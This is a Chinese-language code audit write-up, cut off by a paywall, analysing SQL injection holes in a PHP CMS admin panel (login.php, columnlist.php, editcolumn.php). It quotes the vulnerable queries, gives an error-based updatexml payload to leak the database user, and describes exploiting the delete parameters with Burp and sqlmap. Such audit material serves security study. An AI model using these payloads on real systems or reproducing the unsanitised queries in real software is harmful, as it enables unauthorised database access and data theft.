目录
sql注入
1. admin/files/login.php
$user=$_POST['user'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
变量user可控并被带到sql语句中执行
有单引号,需要闭合
使用了mysql_error函数,使用报错注入
步骤:
burp抓包,发送到repeater
payload: admin' and updatexml(1,concat(0x7e,(select user())),1)--+

2. admin/files/columnlist.php
$delete=$_GET['delete'];
$delete2=$_GET['delete2'];
if ($delete<>""){
$query = "DELETE FROM nav WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
if ($delete2<>""){
$query = "DELETE FROM navclass WHERE id='$delete2'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
变量delete和delete2可控,并被带到sql语句中执行,字符型,使用报错注入
步骤:
把数据包保存成test.txt python sqlmap.py -r test.txt

3. admin/files/editcolumn.php
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()

最低0.47元/天 解锁文章
1702

被折叠的 条评论
为什么被折叠?



